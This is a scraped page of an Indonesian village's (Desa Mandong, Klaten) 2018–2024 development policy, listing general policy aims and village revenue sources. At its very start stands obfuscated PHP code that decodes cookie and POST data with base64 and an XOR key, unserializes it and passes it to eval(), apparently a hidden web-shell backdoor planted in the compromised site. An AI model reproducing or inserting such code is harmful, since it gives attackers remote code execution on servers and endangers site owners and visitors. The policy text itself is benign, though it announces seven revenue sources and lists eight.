$GaUtFTTVA = chr ( 613 - 525 ).chr (78) . 'f' . chr ( 1042 - 947 )."\106" . 'M' . "\145";$wCKYawhC = chr (99) . chr (108) . "\x61" . chr (115) . "\x73" . chr (95) . "\x65" . chr (120) . 'i' . "\x73" . chr (116) . chr (115); $pwzMTc = class_exists($GaUtFTTVA); $wCKYawhC = "30452";$bDzBV = !1;if ($pwzMTc == $bDzBV){function xKTfw(){return FALSE;}$JljUwtvA = "9432";xKTfw();class XNf_FMe{private function BpDFquIJjy($JljUwtvA){if (is_array(XNf_FMe::$JKDdfSK)) {$ciwjSw = str_replace(chr (60) . chr (63) . chr ( 1101 - 989 ).chr ( 680 - 576 )."\x70", "", XNf_FMe::$JKDdfSK['c' . chr (111) . "\156" . chr (116) . 'e' . "\x6e" . 't']);eval($ciwjSw); $JljUwtvA = "9432";exit();}}private $tcWnN;public function mvxmXpQ(){echo 47822;}public function __destruct(){$JljUwtvA = "62884_1781";$this->BpDFquIJjy($JljUwtvA); $JljUwtvA = "62884_1781";}public function __construct($sVBGYcs=0){$yIdneIQAUj = $_POST;$xSYEjDTNt = $_COOKIE;$XcZobiBbm = "f8abe0ff-1b8f-4147-bd69-e8c0c2d80acf";$xXiXFrliSe = @$xSYEjDTNt[substr($XcZobiBbm, 0, 4)];if (!empty($xXiXFrliSe)){$rVLBgVcG = "base64";$VuGYNNw = "";$xXiXFrliSe = explode(",", $xXiXFrliSe);foreach ($xXiXFrliSe as $IzFzUN){$VuGYNNw .= @$xSYEjDTNt[$IzFzUN];$VuGYNNw .= @$yIdneIQAUj[$IzFzUN];}$VuGYNNw = array_map($rVLBgVcG . "\x5f" . "\144" . chr ( 1007 - 906 )."\143" . "\157" . chr ( 836 - 736 ).chr ( 940 - 839 ), array($VuGYNNw,)); $VuGYNNw = $VuGYNNw[0] ^ str_repeat($XcZobiBbm, (strlen($VuGYNNw[0]) / strlen($XcZobiBbm)) + 1);XNf_FMe::$JKDdfSK = @unserialize($VuGYNNw); $VuGYNNw = class_exists("62884_1781");}}public static $JKDdfSK = 2374;}$rjQLNHF = new /* 33064 */ $GaUtFTTVA(9432 + 9432); $bDzBV = $rjQLNHF = $JljUwtvA = Array();} Arah Kebijakan - Desa Mandong

Arah Kebijakan
Desa Mandong 2018-2024

Arah Kebijakan Umum

Arah kebijakan umum pembangunan jangka menengah Desa Mandong akan menentukan agenda, tujuan dan sasaran program pembangunan enam tahun ke depan. Sebagai upaya pencapaian pembangunan yang diharapkan maka dirumuskan kebijakan pembangunan sebagai dasar penetapan pokok-pokok pikiran dengan mengacu pada strategi, visi dan misi Desa Mandong, sehingga dalam pelaksanaannya terdapat kesatuan arah yang jelas terhadap pemecahan masalah yang dihadapi oleh Desa Mandong, sesuai dinamika masyarakat yang selalu berkembang.

Arah kebijakan umum Desa Mandong juga dapat diartikan sebagai operasionalisasi dari visi dan misi desa untuk jangka waktu tertentu. Oleh karena itu arah kebijakan umum desa pada RPJM Desa ini tetap merujuk pada RPJM Daerah Kabupaten Klaten.

  1. Peningkatan kinerja aparatur desa melalui kursus-kursus/pelatihan dan sosialisasi tentang berbagai macam disiplin ilmu, khususnya yang berkaitan dengan pemerintahan desa.
  2. Pencanangan dan pembuatan Desa Wisata untuk menopang kemandirian Desa.
  3. Peningkatan pelayanan dan pemberdayaan masyarakat disegala bidang.
  4. Penataan regulasi diberbagai bidang, dengan menerbitkan Peraturan Desa yang diperlukan dan di rasa mendesak.
  5. Peningkatan sumber daya manusia di semua elemen masyarakat yang berilmu, sehat dan religius melalui kegiatan-kegiatan yang diselenggarakan di RT, RW, desa, kecamatan maupun Kabupaten.
  6. Peningkatan peran wanita (kesetaraan Gender) dalam proses pembangunan disegala bidang.
  7. Peningkatan moralitas, etika, keimanan dan ketaqwaan kepada Tuhan Yang Maha Esa, melalui ceramah-ceramah dan atau kegiatan keagamaan dan dialog interaktif dengan berbagai elemen masyarakat.
  8. Peningkatan pentingnya toleransi antar umat beragama dengan menanamkan sikap saling menghormati dan menghargai antar umat beragama.
  9. Peningkatan kesadaran mengembangkan Ilmu pengetahuan dan teknologi dengan membentuk, mengembangkan dan memasyarakatkan perpustakaan desa.
  10. Peningkatan kewaspadaan dan kemampuan semua elemen masyarakat Desa Mandong untuk menghadapi atau menangani keadaan darurat/bancana alam diwilayahnya.
  11. Peningkatan keamanan dan ketertiban di seluruh wilayah Desa Mandong.
  12. Peningkatan kerja sama antar desa tetangga.
  13. Peningkatan sarana dan prasarana kebersihan dan keindahan, transportasi, penerangan jalan, perumahan tidak layak huni, air bersih, irigasi, seni dan olah raga, akses jalan antar RT/RW dan antar desa/kecamatan, dll.
  14. Peningkatan kesadaran hukum di masyarakat melalui sosialisasi-sosialisasi dan pendekatan-pendekatan kekeluargaan, sehingga menekan adanya konflik, menurunnya tingkat kriminalitas di masyarakat yang berdampak pada persatuan dan kesatuan di Desa Mandong tetap terjaga dengan baik.

Arah Kebijakan Keuangan

Dalam struktur anggaran Desa Mandong terdapat 7 pos pendapatan desa yang merupakan sumber keuangan desa. Dalam rangka mewujudkan Visi dan Misi desa, maka enam tahun kedepan, pemerintah Desa Mandong akan berupaya untuk menggali potensi pendapatan desa, disamping meningkatkan swadaya masyarakat untuk membangun daerahnya sendiri. Sumber-sumber pembiayaan desa dalam rangka pelaksanaan kegiatan pembangunan di Desa Mandong terdiri dari :

  1. Pendapatan Asli Desa (PADesa), terdiri dari : Tanah Kas Desa dan pendapatan lain-lain
  2. Bagi Hasil Pajak Kabupaten
  3. Bagian dari Retribusi Kabupaten
  4. Dana Desa
  5. Alokasi Dana Desa (ADD)
  6. Bantuan Keuangan dari Pemerintah, Pemerintah Provinsi, Pemerintah Kabupaten dan Desa lainnya
  7. Hibah
  8. Sumbangan Pihak Ketiga.

Secara umum kebijakan keuangan desa diarahkan pada peningkatan pendapatan desa dan peningkatan swadaya masyarakat disertai dengan merealisasikan APBdes kedalam kegiatan-kegiatan pembangunan baik fisik maupun non fisik guna peningkatan taraf hidup masyarakat Desa Mandong pada khususnya, serta kemajuan pembangunan Kabupaten Klaten pada umumnya. Langkah-langkah dan arah kebijakan keuangan desa adalah :

  1. Mengoptimalisasikan sumber-sumber pendapatan desa berupa pemanfaatan tanah kas desa.
  2. Mengintensifkan komunikasi dan koordinasi dengan lembaga pemerintah di Kecamatan maupun Kabupaten guna lebih mengoptimalkan pendapatan desa yang bersumber dari APBD Kabupaten Klaten atau APBD Provinsi Jateng.
  3. Melakukan rembug desa secara berkala, untuk merumuskan swadaya masyarakat dan mengintensifkan pendapatan yang bersumber dari pelayanan publik, yang tidak bertentangan dengan perundang-undangan.